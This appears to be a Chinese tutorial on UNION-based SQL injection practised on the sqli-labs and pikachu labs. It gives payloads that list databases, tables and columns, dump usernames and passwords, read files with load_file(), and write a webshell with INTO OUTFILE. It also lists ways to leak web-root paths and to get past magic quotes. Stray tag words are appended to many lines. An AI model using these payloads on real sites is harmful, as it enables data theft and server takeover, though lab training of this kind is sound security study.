information_schema表特性,记录数据库名、表名、列名对应表php
information_schema.schemata:存储全部数据库名nginx
schema_name:数据库名sql
利用sqlilabs第2关进行演示数据库
可知字段数为3。apache
获取全部数据库名:http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schematawindows
可知改系统上有10个数据库服务器
sqlilabs经过查询对应的数据库为security。函数
在网站中一个网站对应一个数据库。由上图可知sqlilabs的数据库为security,靶场pikachu对应的数据库名为pikachu。测试
获取pikachu数据库名下的表名信息:网站
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pikachu'
有4张表。
获取pikachu据库下的users表的列名信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='pikachu'
获取数据库pikachu数据库中users表中的具体信息:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,username,password from pikachu.users limit 0,1--+
读取函数:load_file()
导出函数:into outfile或into dumpfile
读取数据:sele文件的路径’)
select load_file('e:/test.txt');
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:/test.txt'),3 --+
写入数据数据到e盘下的test.txt文件
写入木马方法:
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,'木马',3 into outfile 'e:/test.php' --+
就像测试SQL注入同样在参数后面加上单引号。
http://localhost/?id=1'
经过第一种方式能够会触发waf,所以能够经过错误的参数值来爆网站路径。
http://localhost/?id=-1 http://localhost/?id=oqewe
经过搜索引擎语法可能能够获取到网站路径,如:
Site:xxx.com warning Site:xxx.com "fatal error" intext:warning
网站经过XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件,好比:
/test.php /ceshi.php /info.php /phpinfo.php /php_info.php /1.php /l.php /x.php
若是注入点有文件读取权限,就能够经过load_file函数读取配置文件,再从中寻找路径信息。
Windows配置文件:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux配置文件:
/etc/php.ini php配置文件 /etc/httpd/conf.d/php.conf /etc/httpd/conf/httpd.conf Apache配置文件 /usr/local/apache/conf/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
XAMPP配置文件:
Xampp文件路径 C:\xampp\htdocs httpd.com配置文件 C:\xampp\apache\conf/httpd.conf vhosts.conf虚拟主机 C:\xampp\apache\onf\extra\httpd-vhosts.conf
phpnow配置文件:
网站默认路径 D:\PHPnow-1.5.6\htdocs httpd.conf配置文件 D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf vhosts.conf虚拟主机 D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.conf
phpstudy配置文件:
网站默认路径
C:\phpstudy\www
httpd.conf配置文件
C:\phpStudy\Apache\conf\httpd.conf
vhosts.conf虚拟主机
C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf
LAMPP配置文件:
网站默认路径 /opt/lampp/htdocs httpd.conf配置文件 /opt/lampp/etc/httpd.conf vhosts.conf虚拟主机 /opt/lampp/etc/extra/httpd-vhosts.conf
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被看成php文件执行,还有可能爆出物理路径。
http://localhost/test.jpg/x.php
/phpmyadmin/themes/darkblue_orange/layout.inc.php
好比eval()函数可控的话,直接传入phpinfo(),经过phpinfo页面中Document_Root参数获取网站绝对路径。
magic_quotes_gpc=on时,输入数据中引号(')、双引号(“)、右斜杠(\)、null(null)等字符都会被加上反斜线(\)。
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,load_file('e:\\test.txt'),3 --+
\\被转义成\\\\,'转义成‘\
绕过方法:
将路径去掉引号采用十六进制编码便可绕过。
addslashes()函数与魔术引号做用相似,输入数据中引号(')、双引号(“)、右斜杠(\)、null(null)等字符都会被加上反斜线(\)。
咱们修改第2关的php文件
再进行测试
没法注入!且没法绕过
str_replace('select','warning',$id)函数将select替换成warning。
进行测试:
select被修改,没法进行注入。